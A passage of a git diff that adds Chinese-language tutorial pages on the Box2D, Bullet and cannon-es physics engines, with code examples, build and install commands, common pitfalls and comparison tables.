b2WorldDef def = b2DefaultWorldDef(); + def.gravity = (b2Vec2){0.0f, -10.0f}; + b2WorldId world = b2CreateWorld(&def); + + b2BodyDef bodyDef = b2DefaultBodyDef(); + bodyDef.type = b2_dynamicBody; + bodyDef.position = (b2Vec2){0.0f, 5.0f}; + b2BodyId ball = b2CreateBody(world, &bodyDef); + + b2ShapeDef shapeDef = b2DefaultShapeDef(); + shapeDef.density = 1.0f; + shapeDef.material.friction = 0.3f; + shapeDef.material.restitution = 0.6f; + b2Circle circle = { {0.0f, 0.0f}, 0.25f }; + b2CreateCircleShape(ball, &shapeDef, &circle); + + for (int i = 0; i < 180; i++) { + b2World_Step(world, 1.0f / 60.0f, 4); + if (i % 30 == 0) + syncSprite(ball); + } + b2DestroyWorld(world); + return 0; +} +``` + +**要点**:`material.restitution` 控制弹性(0 = 不弹,1 = 完全弹性碰撞);`friction` 为库仑摩擦系数,多在 [0, 1]。不要每帧 `b2Body_SetPosition` 去「硬拽」动态体,除非你知道在写 kinematic 或 teleport 逻辑。 + +### 案例 2:旋转铰(Revolute Joint)——门或摆锤 + +两节刚体共用世界空间中的一个锚点,允许相对旋转;可限制角度范围: + +```c +// 假设 world、groundId、doorId 已创建,门竖直挂在地面边缘 +b2RevoluteJointDef jointDef = b2DefaultRevoluteJointDef(); +jointDef.bodyIdA = groundId; +jointDef.bodyIdB = doorId; +jointDef.localAnchorA = (b2Vec2){2.0f, 0.0f}; // 地面上的铰点(局部坐标) +jointDef.localAnchorB = (b2Vec2){-0.5f, 0.0f}; // 门板上的铰点 +jointDef.enableLimit = true; +jointDef.lowerAngle = -0.25f * B2_PI; // 约 -45° +jointDef.upperAngle = 0.5f * B2_PI; // 约 +90° +jointDef.enableMotor = false; + +b2JointId hingeId = b2CreateRevoluteJoint(world, &jointDef); + +// 游戏循环内 +b2World_Step(world, 1.0f / 60.0f, 4); +// 可对 doorId 施加初速度或外力,门会绕铰摆动并受 limit 约束 +``` + +**要点**:锚点用**各 body 的局部坐标**表达;`referenceAngle` 在复杂装配时可对齐「零度」姿态。需要主动推门时,可对 `doorId` 用 `b2Body_ApplyTorque` 或打开 motor 设 `motorSpeed` / `maxMotorTorque`。 + +### 案例 3:射线检测——鼠标点击选物体 + +```c +b2Vec2 origin = {3.0f, 5.0f}; +b2Vec2 translation = {0.0f, -10.0f}; // 向下 cast 10 米 +b2RayResult result = b2World_CastRay(world, origin, translation); + +if (result.hit) { + b2BodyId hitBody = b2Shape_GetBody(result.shapeId); + b2Vec2 p = result.point; + // 在 p 处高亮,或对 hitBody 施加冲量 +} +``` + +## 编译与集成 + +**CMake 构建**(Linux / macOS / Windows 通用): + +```bash +git clone https://github.com/erincatto/box2d.git +cd box2d +mkdir build && cd build +cmake .. +cmake --build . --config Release +cmake --install . # 可选 +``` + +在自己的 CMake 项目里: + +```cmake +find_package(box2d CONFIG REQUIRED) +target_link_libraries(my_game PRIVATE box2d::box2d) +``` + +仓库自带 **samples**(需 C++20 编译器 + OpenGL):构建后运行可交互查看关节、车辆、堆积与性能场景。学习时优先改 samples 里的 test,比从零搭窗口省事。 + +**与游戏引擎的关系**:Box2D 不绑定引擎。Unity 有官方 2D Physics(不同实现);Godot 内置 2D 物理;Cocos2d-x、LÖVE(通过 love.physics 绑定)、libGDX 等可直接嵌 Box2D 或其二进制移植。集成模式都是:**步进物理 → 读 body transform → 写回节点/精灵**。 + +## 常见坑 + +1. **像素当米**:最常见错误。务必引入 `PTM_RATIO`,并在思维里区分「模拟坐标」与「屏幕坐标」。 +2. **动态体没有密度**:忘记设 `shapeDef.density` 会导致质量为 0,物体不受重力正确影响。 +3. **静态体被推动**:质量来自形状密度;地面若误建成 dynamic,会被撞飞。检查 `bodyDef.type`。 +4. **大时间步**:单帧 `deltaTime` 过大时,即使 CCD 也可能出问题。累积时间后分多次 `b2World_Step(..., 1/60f, ...)` 更稳。 +5. **关节断开感**:锚点局部坐标设错、或两 body 初始重叠,都会让关节「爆开」。先用 debug draw 核对铰点在世界空间是否重合。 +6. **旧教程 API 对不上**:网上大量 `b2World*`、`CreateFixture` 是 **Box2D 2.x**;读 [migration.md](https://github.com/erincatto/box2d/blob/main/docs/migration.md) 再对照 3.x 的 `b2CreatePolygonShape` 等 C API。 +7. **缩放整个世界**:极端大地图(>12 km)浮点精度会让模拟发飘;应切块或缩小逻辑单位。 + +## 学习路径 + +1. 构建并运行官方 **samples**,用 GUI 切换场景,观察睡眠、CCD、关节参数 +2. 手敲「地面 + 箱子」最小 C 程序,确认循环 `b2World_Step` 后 y 坐标下降 +3. 加 **revolute** 或 **prismatic** 关节,理解 anchor / limit / motor +4. 读 [box2d.org/documentation](https://box2d.org/documentation/) 的 *Units*、*Ids and Definitions*、*Joints* 三章 +5. 看 Erin Catto GDC 讲义 [*Understanding Constraints*](https://box2d.org/files/ErinCatto_UnderstandingConstraints_GDC2014.pdf) 理解求解器在做什么 +6. 若维护旧项目:先确认版本是 2.x 还是 3.x,再选对应 API 与移植绑定 + +## 与其他方案对比 + +| 方案 | 维度 | 特点 | +|------|------|------| +| **Box2D** | 2D | 轻量、久经考验、关节丰富,嵌入式首选 | +| **Chipmunk2D** | 2D | 另一套 C 2D 引擎,API 风格不同,iOS 早期常用 | +| **Bullet** | 3D | 刚体 + 软体,复杂度高,见本库 [Bullet 笔记](./bullet.md) | +| **Godot Physics 2D** | 2D | 引擎内置,节点式,不直接暴露 Box2D API | +| **LiquidFun** | 2D | Google 基于 Box2D 2.x 的粒子流体分支,已停更 | + +## 延伸阅读 + +- 官方仓库: +- 在线手册(3.x): +- 2.x → 3.x 迁移: +- Erin Catto GDC 约束讲义: +- 社区教程(2.x API,概念仍有用): +- 旧版 C++ 源码归档:Box2D 2.4 仍可在 release 页获取,便于对照历史文章 diff --git a/src/content/docs/projects/bullet.md b/src/content/docs/projects/bullet.md new file mode 100644 index 000000000..141ab19f2 --- /dev/null +++ b/src/content/docs/projects/bullet.md @@ -0,0 +1,281 @@ +--- +title: Bullet — C++ 经典 3D 物理引擎 +来源: 'https://github.com/bulletphysics/bullet3' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 中级 +--- + +## 是什么 + +**Bullet Physics**(常简称 Bullet)是一套用 **C++** 写的开源 **3D 碰撞检测与刚体/软体动力学**库,由 Erwin Coumans 发起,采用 **Zlib 许可证**,可商用、可静态链接进闭源游戏。GitHub 仓库 `bulletphysics/bullet3` 超过 1 万 star,被 Unity、Unreal、Blender、PyBullet、Gazebo 等大量项目直接或间接使用。 + +日常类比:把 Bullet 想成**台球厅里的裁判 + 记分员**。你只管摆好球(碰撞形状、质量、初始位置),裁判每帧负责三件事——找出哪些球可能相撞(碰撞检测)、按物理规则算出新位置(积分与约束求解)、把结果写回给渲染器(MotionState / Transform)。你不需要手算抛物线或碰撞反弹,只要调用 `stepSimulation`,世界就按牛顿力学推进。 + +Bullet 不是完整游戏引擎,而是**可嵌入的物理模块**。它不管渲染、音频、UI;只提供 `btCollisionShape`、`btRigidBody`、`btDiscreteDynamicsWorld` 等类型,以及射线检测、车辆、角色控制器、布娃娃约束等扩展。 + +```cpp +#include "btBulletDynamicsCommon.h" + +// 最小闭环:初始化世界 → 加地面和球 → 模拟 150 帧 +btDefaultCollisionConfiguration* cfg = new btDefaultCollisionConfiguration(); +btCollisionDispatcher* dispatcher = new btCollisionDispatcher(cfg); +btBroadphaseInterface* broadphase = new btDbvtBroadphase(); +btSequentialImpulseConstraintSolver* solver = new btSequentialImpulseConstraintSolver(); +btDiscreteDynamicsWorld* world = new btDiscreteDynamicsWorld( + dispatcher, broadphase, solver, cfg); +world->setGravity(btVector3(0, -10, 0)); + +// ... 创建 btBoxShape 地面 + btSphereShape 球体,addRigidBody ... + +for (int i = 0; i < 150; i++) { + world->stepSimulation(1.f / 60.f, 10); +} +``` + +上面这段与官方 `examples/HelloWorld/HelloWorld.cpp` 同构:先搭**四件套**(配置、调度器、粗检测、求解器),再建 `btDiscreteDynamicsWorld`,最后循环 `stepSimulation`。 + +## 为什么重要 + +不了解 Bullet,下面这些事很难讲清楚: + +- 为什么 Unity 的 PhysX 和许多开源引擎都能「换物理后端」——Bullet 提供了与引擎解耦的碰撞 + 动力学 API,是事实上的参考实现之一 +- 机器人仿真(PyBullet、Gazebo)为什么能在 Python 里调 C++ 物理——Bullet 有稳定的 C API 绑定与 URDF 导入示例 +- 「质量为 0」在物理引擎里代表什么——不是「没有重量」,而是**静态物体**(地面、墙),引擎不会对它积分,只把它当碰撞参考 +- 为什么游戏要分 **Fixed Timestep**(固定 1/60s)和渲染帧率——`stepSimulation` 内部可多次子步,避免大 dt 导致穿透(tunneling) + +## 核心要点 + +Bullet 的刚体管线可以拆成 **世界 → 形状 → 刚体 → 步进** 四层,以及碰撞检测的三阶段。 + +### 1. 动力学世界(Dynamics World) + +`btDiscreteDynamicsWorld` 是一帧仿真的总调度。每调用一次 `stepSimulation(deltaTime, maxSubSteps)`,内部大致顺序为: + +1. **Broadphase(粗检测)**:用 `btDbvtBroadphase` 等结构快速筛出「可能接触」的物体对,避免 O(n²) 全对全检测 +2. **Dispatcher + Narrowphase(细检测)**:对候选对做精确接触,生成 **contact manifold**(接触流形) +3. **Constraint Solver**:解碰撞冲量、关节、摩擦、restitution(弹性),更新速度 +4. **Integration**:把线速度、角速度积分成新的位姿 + +类比:粗检测像快递分拣中心按城市分堆;细检测像逐件开箱核对;求解器像调解员决定两辆车擦碰后各退多少。 + +### 2. 碰撞形状(Collision Shape)≠ 刚体(Rigid Body) + +| 概念 | 典型类 | 职责 | +|------|--------|------| +| 形状 | `btBoxShape`, `btSphereShape`, `btConvexHullShape`, `btBvhTriangleMeshShape` | 纯几何,**可多个刚体共享**同一 shape 实例以省内存 | +| 刚体 | `btRigidBody` | 质量、惯性、摩擦、restitution、速度;继承 `btCollisionObject` 的 world transform | + +创建动态刚体的固定套路: + +```cpp +btCollisionShape* shape = new btSphereShape(1.f); +btScalar mass = 1.f; +btVector3 inertia(0, 0, 0); +shape->calculateLocalInertia(mass, inertia); // 由形状 + 质量算惯性张量 + +btTransform start; +start.setIdentity(); +start.setOrigin(btVector3(0, 10, 0)); + +btDefaultMotionState* motion = new btDefaultMotionState(start); +btRigidBody::btRigidBodyConstructionInfo info(mass, motion, shape, inertia); +btRigidBody* body = new btRigidBody(info); +world->addRigidBody(body); +``` + +**质量为 0** → 静态刚体;**质量 > 0** → 动态刚体,必须调用 `calculateLocalInertia`。Bullet 规定:**刚体的 origin 即质心**,形状设计错会导致「一边重一边轻」的诡异翻滚。 + +### 3. MotionState:物理与渲染的桥梁 + +`btDefaultMotionState` 保存「图形层该显示的变换」。模拟结束后从 `body->getMotionState()->getWorldTransform(trans)` 读位置,而不是每帧手改 `setWorldTransform`(除非 kinematic 物体,需同时更新 motion state,否则与动态体交互会异常)。 + +### 4. 约束(Constraints) + +Bullet 支持铰链(`btHingeConstraint`)、滑块、6-DOF、布娃娃用的 cone-twist 等。约束把两个刚体的相对自由度限制住,由同一套 sequential impulse 求解器与碰撞一起迭代。 + +### 5. 软体与扩展模块 + +除 `BulletCollision` + `BulletDynamics` 外,还有 **BulletSoftBody**(布料、绳、可变形体)、**Bullet3** 多线程/OpenCL 实验分支、车辆 `btRaycastVehicle`、角色 `btKinematicCharacterController`。零基础先掌握刚体闭环,再按需深入。 + +## 实践案例 + +### 案例 1:Hello World — 球落向地面 + +完整流程对应官方示例:地面是大 `btBoxShape`,球是 `btSphereShape`,模拟 150 帧后球稳定在地面附近。 + +```cpp +#include "btBulletDynamicsCommon.h" +#include + +int main() { + btDefaultCollisionConfiguration* cfg = new btDefaultCollisionConfiguration(); + btCollisionDispatcher* dispatcher = new btCollisionDispatcher(cfg); + btBroadphaseInterface* broadphase = new btDbvtBroadphase(); + btSequentialImpulseConstraintSolver* solver = new btSequentialImpulseConstraintSolver(); + btDiscreteDynamicsWorld* world = new btDiscreteDynamicsWorld( + dispatcher, broadphase, solver, cfg); + world->setGravity(btVector3(0, -10, 0)); + + btAlignedObjectArray shapes; + + // 静态地面:mass = 0 + btCollisionShape* groundShape = new btBoxShape(btVector3(50, 50, 50)); + shapes.push_back(groundShape); + btTransform groundTf; + groundTf.setIdentity(); + groundTf.setOrigin(btVector3(0, -56, 0)); + btRigidBody* ground = new btRigidBody( + btRigidBody::btRigidBodyConstructionInfo( + 0.f, new btDefaultMotionState(groundTf), groundShape, btVector3(0, 0, 0))); + world->addRigidBody(ground); + + // 动态球:mass = 1 + btCollisionShape* sphereShape = new btSphereShape(1.f); + shapes.push_back(sphereShape); + btScalar mass = 1.f; + btVector3 inertia; + sphereShape->calculateLocalInertia(mass, inertia); + btTransform start; + start.setIdentity(); + start.setOrigin(btVector3(2, 10, 0)); + btRigidBody* sphere = new btRigidBody( + btRigidBody::btRigidBodyConstructionInfo( + mass, new btDefaultMotionState(start), sphereShape, inertia)); + world->addRigidBody(sphere); + + for (int i = 0; i < 150; i++) { + world->stepSimulation(1.f / 60.f, 10); + btTransform trans; + sphere->getMotionState()->getWorldTransform(trans); + btVector3 p = trans.getOrigin(); + if (i % 30 == 0) + printf("t=%d sphere y=%.3f\n", i, p.y()); + } + + // 逆序释放:body → shape → world → solver → broadphase → dispatcher → cfg + world->removeRigidBody(sphere); + delete sphere->getMotionState(); + delete sphere; + // ... 同理清理 ground 与各 shape、world 组件 + return 0; +} +``` + +**要点**:`stepSimulation(1/60, 10)` 表示「目标步长 1/60 秒,最多 10 次子步」。帧率低时 Bullet 会用更小步长多次推进,减少高速物体穿模。 + +### 案例 2:射线检测 — 从相机位置「开枪」 + +游戏里点击选中、子弹命中、地面放置物体,都常用 **raycast**。Bullet 在 `btCollisionWorld` 上提供 `rayTest`: + +```cpp +#include "LinearMath/btVector3.h" +#include "LinearMath/btTransform.h" + +void shootRay(btDiscreteDynamicsWorld* world, + const btVector3& from, const btVector3& to) { + struct RayResult : public btCollisionWorld::ClosestRayResultCallback { + RayResult(const btVector3& a, const btVector3& b) + : btCollisionWorld::ClosestRayResultCallback(a, b) {} + } callback(from, to); + + world->rayTest(from, to, callback); + + if (callback.hasHit()) { + btVector3 hit = callback.m_hitPointWorld; + const btRigidBody* hitBody = btRigidBody::upcast(callback.m_collisionObject); + printf("hit at (%.2f, %.2f, %.2f), fraction=%.3f\n", + hit.x(), hit.y(), hit.z(), callback.m_closestHitFraction); + if (hitBody) + printf(" rigid body mass=%.2f\n", 1.f / hitBody->getInvMass()); + } else { + printf("miss\n"); + } +} + +// 用法:从 (0,5,0) 向 -Y 发射 +shootRay(world, btVector3(0, 5, 0), btVector3(0, -100, 0)); +``` + +**要点**:`ClosestRayResultCallback` 返回最近命中点与 `m_collisionObject`;静态体 `getInvMass()` 为 0,动态体可据此判断是否可推动。连续碰撞检测(CCD)需对 fast-moving 物体设置 `setCcdMotionThreshold` / `setCcdSweptSphereRadius`。 + +### 案例 3:读取接触点 — 落地音效与粒子 + +碰撞解算后,可从 `btDispatcher` 遍历 **persistent manifolds** 取接触点数量与法线,用于播放音效、生成火花: + +```cpp +btManifoldResult contactPointProcessed; // 概念示意 +btDispatcher* disp = world->getDispatcher(); +int numManifolds = disp->getNumManifolds(); + +for (int i = 0; i < numManifolds; i++) { + btPersistentManifold* manifold = disp->getManifoldByIndexInternal(i); + const btCollisionObject* obA = manifold->getBody0(); + const btCollisionObject* obB = manifold->getBody1(); + int numContacts = manifold->getNumContacts(); + for (int j = 0; j < numContacts; j++) { + btManifoldPoint& pt = manifold->getContactPoint(j); + if (pt.getDistance() < 0.f) { // 真正穿透/接触 + btVector3 normal = pt.m_normalWorldOnB; + btScalar impulse = pt.getAppliedImpulse(); + // 用 impulse 大小触发 "砰" 一声 + } + } +} +``` + +## 编译与集成 + +**CMake 一键构建**(官方推荐): + +```bash +git clone https://github.com/bulletphysics/bullet3.git +cd bullet3 +cmake -S . -B build -DBUILD_SHARED_LIBS=ON -DBUILD_BULLET3=OFF +cmake --build build -j +sudo cmake --install build # 可选,装到系统前缀 +``` + +在自己的项目里: + +```cmake +find_package(Bullet REQUIRED) +target_link_libraries(my_game BulletDynamics BulletCollision LinearMath) +target_include_directories(my_game PRIVATE ${BULLET_INCLUDE_DIRS}) +``` + +仓库自带 **OpenGL3 Example Browser**,编译后运行可交互查看 ragdoll、软体、车辆等 demo;每个 example 也可去掉图形单独编译,适合对照学习。 + +## 常见坑 + +1. **忘记共享 CollisionShape**:同一 mesh 建几百个刚体时,应复用一个 `btCollisionShape*`,否则内存和 broadphase 开销暴涨。 +2. **静态/动态质量搞反**:地面 mass 必须 0;动态体 mass 必须 > 0 且算 inertia。 +3. **Kinematic 物体睡眠**:平台、电梯需 `CF_KINEMATIC_OBJECT` + `DISABLE_DEACTIVATION`,移动时**同时**更新 `setWorldTransform` 和 `MotionState`。 +4. **单位制不统一**:Bullet 无内置「米/厘米」;1 个单位 = 1 米是常见约定,重力 `-10` 近似地球。若用厘米,重力应约为 `-980`。 +5. **三角 mesh 当动态凸体**:凹网格默认不宜做动态凸包;动态物体优先 `btConvexHullShape` 或简单 primitive,静态环境用 `btBvhTriangleMeshShape`。 + +## 学习路径 + +1. 读并跑通 `examples/HelloWorld/HelloWorld.cpp`(无图形) +2. 打开 Example Browser,对照 `BasicDemo`、`RagdollDemo` 源码 +3. 加一个 hinge:两节 `btRigidBody` + `btHingeConstraint` + `addConstraint` +4. 若做机器人:转 PyBullet 或导入 URDF(`examples/Importers/ImportURDFDemo`) +5. 深入:阅读 [Bullet Physics Manual](https://github.com/bulletphysics/bullet3/docs/BulletPhysicsManual.pdf) 的碰撞检测与求解器章节 + +## 与其他方案对比 + +| 方案 | 语言 | 特点 | +|------|------|------| +| **Bullet** | C++ | 开源、功能全(刚体+软体+约束),嵌入成本低 | +| **PhysX** | C++ | NVIDIA 维护,主机/PC 3A 常用,闭源(有 SDK) | +| **Jolt Physics** | C++ | 现代 C++、多线程友好,近年游戏采用增多 | +| **Box2D** | C | 2D 专用,结构更简单,适合平台游戏 | + +## 延伸阅读 + +- 官方仓库与手册: +- Hello World 源码: +- 社区手册镜像: +- PyBullet(Python 绑定): diff --git a/src/content/docs/projects/cannon-es.md b/src/content/docs/projects/cannon-es.md new file mode 100644 index 000000000..7af09bb28 --- /dev/null +++ b/src/content/docs/projects/cannon-es.md @@ -0,0 +1,291 @@ +--- +title: cannon-es — pmndrs 维护的 cannon.js 续作 +来源: 'https://github.com/pmndrs/cannon-es' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**cannon-es** 是 [pmndrs](https://github.com/pmndrs) 社区维护的**开源 JavaScript 3D 刚体物理引擎**,MIT 协议,GitHub 仓库 [pmndrs/cannon-es](https://github.com/pmndrs/cannon-es) 约 2k star。它是 Stefan Hedman 原版 [cannon.js](https://github.com/schteppe/cannon.js) 的**现代化续作**:TypeScript 重写、ESM/CJS 双格式 flat bundle、支持 tree shaking,API 与 three.js 生态高度契合。 + +日常类比:把 cannon-es 想成**三维弹珠台的后台裁判**。你在 WebGL 场景里摆好球(Sphere)、箱子(Box)、地面(Plane),裁判按 SI 单位(米、千克、秒)每帧推进牛顿力学,并把「球现在在哪儿、朝哪转」写进 `Body.position` 与 `Body.quaternion`。你负责用 Three.js、Babylon.js 或 React Three Fiber 把 mesh 画出来;cannon-es **不负责渲染**,只算数学。 + +与 C++ 的 Bullet 或 WASM 的 ammo.js 相比,cannon-es 的定位是**纯 JS、零编译、包体小**:适合浏览器里的交互 3D、教育 demo、原型和 `@react-three/cannon` 等上层封装。设计灵感来自 three.js 的简洁 API,算法 lineage 可追溯到 Bullet / ammo.js,但用法更像「在 JS 里直接 new 一个 World」。 + +```js +import * as CANNON from 'cannon-es' + +const world = new CANNON.World({ + gravity: new CANNON.Vec3(0, -9.82, 0), // m/s²,接近地球重力 +}) + +const radius = 1 +const sphereBody = new CANNON.Body({ + mass: 5, + shape: new CANNON.Sphere(radius), +}) +sphereBody.position.set(0, 10, 0) +world.addBody(sphereBody) + +const groundBody = new CANNON.Body({ + type: CANNON.Body.STATIC, + shape: new CANNON.Plane(), +}) +groundBody.quaternion.setFromEuler(-Math.PI / 2, 0, 0) +world.addBody(groundBody) + +function animate() { + requestAnimationFrame(animate) + world.fixedStep() + console.log(`y = ${sphereBody.position.y.toFixed(2)}`) +} +animate() +``` + +上面是官方 [getting-started](https://github.com/pmndrs/cannon-es/blob/master/getting-started.md) 的最小闭环:建 `World` → 加动态球与静态地面 → 每帧 `fixedStep()`。 + +## 为什么重要 + +不了解 cannon-es,下面这些事都难以解释: + +- 为什么 three.js 教程里常见 `cannon-es` 或 `@react-three/cannon`——它是 Web 3D 里**默认的轻量物理后端**之一 +- 为什么原 cannon.js 停更后 pmndrs 要 fork——旧库无 ESM、无类型、与 modern bundler 不兼容;cannon-es 补上了 **tree shaking 与 TS 类型** +- 为什么物理坐标要用**米**而不是把 Three.js 里「1 单位 = 1 像素」——引擎按 MKS 调参,把角色设成 180「米」高会导致堆叠不稳、穿透或数值爆炸 +- 为什么 `fixedStep()` 与 `requestAnimationFrame` 帧率要分离——固定 1/60 s 子步避免大 dt 导致高速物体**隧道穿透**(tunneling) +- 为什么 `applyForce` / `applyImpulse` 在 cannon-es 里相对**物体质心**——这是相对原版 cannon.js 的 breaking change,写玩法逻辑时必须读文档 + +## 核心要点 + +### 1. 物理世界(World) + +`CANNON.World` 是一帧 3D 仿真的总容器,持有所有 `Body`、约束与接触。常用配置: + +| 属性 | 含义 | +|------|------| +| `gravity` | 全局重力向量,默认 `(0, -9.82, 0)` | +| `frictionGravity` | 可选;零重力场景下仍要摩擦时可单独设 | +| `hasActiveBodies` | 是否还有未休眠的刚体;全休眠时可跳过渲染/物理以省电 | + +推进仿真的两种方式: + +- **`world.fixedStep(timeStep?)`**:推荐。内部记录上次调用时间,自动按固定步长(默认 1/60 s)推进,**与显示器帧率解耦** +- **`world.step(timeStep, dt?, maxSubSteps?)`**:手动传入距上一帧的 `dt`,适合自定义时间轴或与服务器 tick 对齐 + +类比:`fixedStep` 像节拍器——无论动画卡不卡,物理始终按 60 Hz 走;`step` 像指挥家自己数拍子。 + +### 2. 刚体(Body)与形状(Shape) + +| 类型 | 条件 | 行为 | +|------|------|------| +| **Dynamic** | `mass > 0` | 受力、碰撞、积分 | +| **Static** | `mass === 0` 或 `type: Body.STATIC` | 固定不动,作地面/墙 | +| **Kinematic** | `type: Body.KINEMATIC` | 不受力,但可设 `velocity` 推动其它物体 | + +常见 **Shape**: + +| Shape | 用途 | +|-------|------| +| `Sphere` | 球体 | +| `Box` | 轴对齐半Extents 盒子,`new Box(new Vec3(hx, hy, hz))` | +| `Plane` | 无限平面,需用四元数旋转成「地面」 | +| `Cylinder` | 圆柱 | +| `ConvexPolyhedron` | 凸多面体 | +| `Trimesh` | 三角网格(静态碰撞,部分配对未实现) | +| `Heightfield` | 高度图地形 | + +一个 Body 可挂多个 Shape(复合碰撞体)。材质相关常用字段:`material`(摩擦/弹性)、`linearDamping`、`angularDamping`、`allowSleep`(休眠优化静止簇)。 + +### 3. 材质与接触(Material / Contact) + +`CANNON.Material` 定义 `friction`(摩擦)与 `restitution`(恢复系数,0 = 不弹,1 = 完全弹性)。两材质相遇时可用 `CANNON.ContactMaterial` 覆盖默认组合行为,并 `world.addContactMaterial(...)` 注册。 + +事件:`world.addEventListener('postStep', ...)` 或 body 级 `collide` 回调可响应碰撞,用于播放音效、计分、销毁物体。 + +### 4. 约束(Constraint) + +`PointToPointConstraint`、`HingeConstraint`、`LockConstraint` 等把两个 Body 用关节连接,适合门铰、摆锤、布偶 ragdoll 简化版。用法模式:`new HingeConstraint(bodyA, bodyB, { pivotA, axisA, ... })` → `world.addConstraint(constraint)`。 + +### 5. 与渲染器同步(Three.js 模式) + +cannon-es **不画任何东西**。标准模式: + +1. 为每个 `Body` 建对应 `THREE.Mesh` +2. 每帧 `world.fixedStep()` 之后 `mesh.position.copy(body.position)`、`mesh.quaternion.copy(body.quaternion)` +3. 再 `renderer.render(scene, camera)` + +上层封装 [@react-three/cannon](https://github.com/pmndrs/use-cannon)(包名 use-cannon)用 React hooks 自动完成 body ↔ mesh 绑定,但底层仍是 cannon-es。 + +### 6. cannon-es 相对 cannon.js 的改进 + +- **ESM + TypeScript**:`import { World, Body, Sphere } from 'cannon-es'` 可 tree shake +- **`World.hasActiveBodies`**:静止场景跳过更新 +- **`World.frictionGravity`**:零重力仍可有摩擦 +- **力/冲量参考系修正**:`applyForce` / `applyImpulse` 相对 body 质心 +- 持续维护,与 pmndrs / R3F 生态对齐 + +## 实践案例 + +### 案例一:最小落球(纯 cannon-es) + +```js +import * as CANNON from 'cannon-es' + +const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) }) + +const ball = new CANNON.Body({ + mass: 1, + shape: new CANNON.Sphere(0.5), +}) +ball.position.set(0, 5, 0) +world.addBody(ball) + +const floor = new CANNON.Body({ + type: CANNON.Body.STATIC, + shape: new CANNON.Plane(), +}) +floor.quaternion.setFromEuler(-Math.PI / 2, 0, 0) +world.addBody(floor) + +for (let i = 0; i < 120; i++) { + world.fixedStep(1 / 60) +} +// 约 2 s 后 ball.position.y 接近 0.5(球半径),贴地静止 +``` + +### 案例二:Three.js 同步 + 盒子堆叠 + +```js +import * as THREE from 'three' +import * as CANNON from 'cannon-es' + +const scene = new THREE.Scene() +const camera = new THREE.PerspectiveCamera(50, innerWidth / innerHeight, 0.1, 100) +camera.position.set(0, 5, 10) +const renderer = new THREE.WebGLRenderer({ antialias: true }) +renderer.setSize(innerWidth, innerHeight) +document.body.appendChild(renderer.domElement) + +const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) }) +world.defaultContactMaterial.friction = 0.4 +world.defaultContactMaterial.restitution = 0.2 + +// 地面:物理 Plane + 视觉 Box +const groundBody = new CANNON.Body({ + type: CANNON.Body.STATIC, + shape: new CANNON.Plane(), +}) +groundBody.quaternion.setFromEuler(-Math.PI / 2, 0, 0) +world.addBody(groundBody) + +const groundMesh = new THREE.Mesh( + new THREE.BoxGeometry(20, 0.2, 20), + new THREE.MeshStandardMaterial({ color: 0x444444 }) +) +groundMesh.position.y = -0.1 +scene.add(groundMesh) + +// 三个叠放的动态盒子 +const boxes = [] +const size = 1 +for (let i = 0; i < 3; i++) { + const body = new CANNON.Body({ + mass: 1, + shape: new CANNON.Box(new CANNON.Vec3(size / 2, size / 2, size / 2)), + }) + body.position.set(0, size / 2 + i * size + 0.01, 0) + world.addBody(body) + + const mesh = new THREE.Mesh( + new THREE.BoxGeometry(size, size, size), + new THREE.MeshStandardMaterial({ color: 0x4488ff }) + ) + scene.add(mesh) + boxes.push({ body, mesh }) +} + +const light = new THREE.DirectionalLight(0xffffff, 1) +light.position.set(5, 10, 5) +scene.add(light, new THREE.AmbientLight(0x404040)) + +function animate() { + requestAnimationFrame(animate) + world.fixedStep() + + for (const { body, mesh } of boxes) { + mesh.position.copy(body.position) + mesh.quaternion.copy(body.quaternion) + } + + renderer.render(scene, camera) +} +animate() +``` + +要点:视觉地面用薄 Box 即可,物理仍用无限 `Plane`;堆叠时给微小 y 间隙(`+ 0.01`)减少初始穿透。每帧**先** `fixedStep()` **再** copy 位姿。 + +### 案例三:施加冲量(第一人称「推箱子」) + +```js +import * as CANNON from 'cannon-es' + +const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) }) +const crate = new CANNON.Body({ + mass: 10, + shape: new CANNON.Box(new CANNON.Vec3(0.5, 0.5, 0.5)), +}) +world.addBody(crate) + +// 在物体局部 +Z 方向施加冲量(cannon-es:相对质心) +crate.applyImpulse(new CANNON.Vec3(0, 0, 5), new CANNON.Vec3(0, 0, 0.5)) + +world.fixedStep(1 / 60) +// crate.velocity 在 z 方向获得增量,随后重力与摩擦共同作用 +``` + +`applyImpulse(force, relativePoint)` 的第二个参数是作用点相对质心的偏移;设为 `(0,0,0.5)` 可产生轻微扭矩,箱子会边滑边转。 + +## 与相关项目对比 + +| 引擎 | 维度 | 语言/运行时 | 典型场景 | +|------|------|-------------|----------| +| **cannon-es** | 3D | 纯 JS | Web 原型、Three.js、R3F | +| **Matter.js** | 2D | 纯 JS | Canvas 2D 游戏、教育 | +| **Box2D** | 2D | C++ / 移植 | 成熟 2D 手游、平台跳跃 | +| **ammo.js** | 3D | Bullet → WASM | 需要 Bullet 全特性、较大场景 | +| **Rapier** | 2D/3D | Rust → WASM | 新项目、性能敏感 Web 3D | + +选型口诀:**浏览器里快速接 Three.js → cannon-es 或 Rapier**;**只要 2D → Matter.js / Box2D**;**要与桌面 Bullet 管线一致 → ammo.js**。 + +## 常见坑 + +1. **单位混乱**:Three.js 常用「任意单位」,cannon-es 默认按**米-千克-秒**。1 个 Three 单位当 1 米通常最稳。 +2. **Plane 方向**:默认 Plane 法线为 +Z,地面需 `quaternion.setFromEuler(-Math.PI / 2, 0, 0)` 旋到 +Y 朝上。 +3. **只 step 不 sync**:物理在跑但 mesh 不动——忘记 copy `position` / `quaternion`。 +4. **Trimesh 与 Box 碰撞**:官方矩阵标注部分配对为 `(todo)`,复杂关卡先用 Convex / Compound 或简化碰撞体。 +5. **大 dt 穿透**:勿用可变 `dt` 直接替代固定步;优先 `fixedStep()` 或 `step` 的多子步。 +6. **从 cannon.js 迁移**:检查 `applyForce` 参考系、导入路径 `cannon` → `cannon-es`、CJS 全局 `CANNON` 改为 ESM。 + +## 安装与资源 + +```bash +npm install cannon-es +# 或配合 Three / R3F +npm install three cannon-es +npm install @react-three/cannon @react-three/fiber three cannon-es +``` + +| 资源 | 链接 | +|------|------| +| 官方文档 | 